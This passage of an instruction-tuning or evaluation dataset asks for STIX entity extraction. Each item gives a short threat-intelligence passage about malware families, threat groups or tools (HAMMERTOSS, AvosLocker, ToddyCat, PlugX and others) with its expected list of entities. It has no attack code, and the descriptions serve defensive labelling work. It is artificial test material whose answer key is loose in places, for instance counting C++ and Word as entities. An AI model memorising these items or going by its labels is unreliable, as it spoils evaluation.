    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nBefore being appended to image files, HAMMERTOSS commands are encrypted with a key composed of both a hard-coded value and a string contained on that day's tweet. To decrypt the commands, an investigator would need access to the intended malware sample, the day's tweet, and the image file containing the command.\n",
    "output": "<entities>HAMMERTOSS</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nEmissary is capable of configuring itself as a service.\n",
    "output": "<entities>Emissary</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nThrip leveraged PowerShell to run commands to download payloads, traverse the compromised networks, and carry out reconnaissance.\n",
    "output": "<entities>Thrip|PowerShell</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nC0018 was a month-long ransomware intrusion that successfully deployed AvosLocker onto a compromised network. The unidentified actors gained initial access to the victim network through an exposed server and used a variety of open-source tools prior to executing AvosLocker.\n",
    "output": "<entities>C0018|AvosLocker</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nAdFind is a free command-line query tool that can be used for gathering information from Active Directory.\n",
    "output": "<entities>AdFind|Active Directory</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nTrojan.Mebromi performs BIOS modification and can download and execute a file as well as protect itself from removal.\n",
    "output": "<entities>Trojan.Mebromi</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nNinja is a malware developed in C++ that has been used by ToddyCat to penetrate networks and control remote systems since at least 2020.  Ninja is possibly part of a post exploitation toolkit exclusively used by ToddyCat and allows multiple operators to work simultaneously on the same machine. Ninja has been used against government and military entities in Europe and Asia and observed in specific infection chains being deployed by Samurai.\n",
    "output": "<entities>Ninja|ToddyCat|Europe|Asia|Samurai|C++</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nMandrake is a sophisticated Android espionage platform that has been active in the wild since at least 2016. Mandrake is very actively maintained, with sophisticated features and attacks that are executed with surgical precision.\n\nMandrake has gone undetected for several years by providing legitimate, ad-free applications with social media and real reviews to back the apps. The malware is only activated when the operators issue a specific command.\n",
    "output": "<entities>Mandrake|Android</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nBS2005 uses Base64 encoding for communication in the message body of an HTTP request.\n",
    "output": "<entities>BS2005</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nSVCReady is a loader that has been used since at least April 2022 in malicious spam campaigns. Security researchers have noted overlaps between TA551 activity and SVCReady distribution, including similarities in file names, lure images, and identical grammatical errors.\n",
    "output": "<entities>SVCReady|TA551</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nLockerGoga has been observed changing account passwords and logging off current users.\n",
    "output": "<entities>LockerGoga</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nJHUHUGIT performs code injection injecting its own functions to browser processes.\n",
    "output": "<entities>JHUHUGIT</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nSmoke Loader adds a Registry Run key for persistence and adds a script in the Startup folder to deploy the payload.\n",
    "output": "<entities>Smoke Loader</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nDarkVishnya has obtained and used tools such as Impacket, Winexe, and PsExec.\n",
    "output": "<entities>DarkVishnya|Impacket|Winexe|PsExec</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nPcexter is an uploader that has been used by ToddyCat since at least 2023 to exfiltrate stolen files.\n",
    "output": "<entities>Pcexter|ToddyCat</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nNBTscan can be used to collect MAC addresses.\n",
    "output": "<entities>NBTscan</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nProofpoint assesses with high confidence TA551 IcedID implants were associated with Maze and Egregor ransomware events in 2020. On 20 October 2021, Proofpoint observed emails that appeared to be replies to previous conversations and contained password-protected zipped Word documents. The attachments ultimately lead to the download of Sliver, an open-source, cross-platform adversary simulation and red team platform.\n",
    "output": "<entities>Proofpoint|Maze|Egregor|Sliver|TA551|Word|IcedID</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nPlugX is a remote access tool (RAT) that uses modular plugins. It has been used by multiple threat groups. \n",
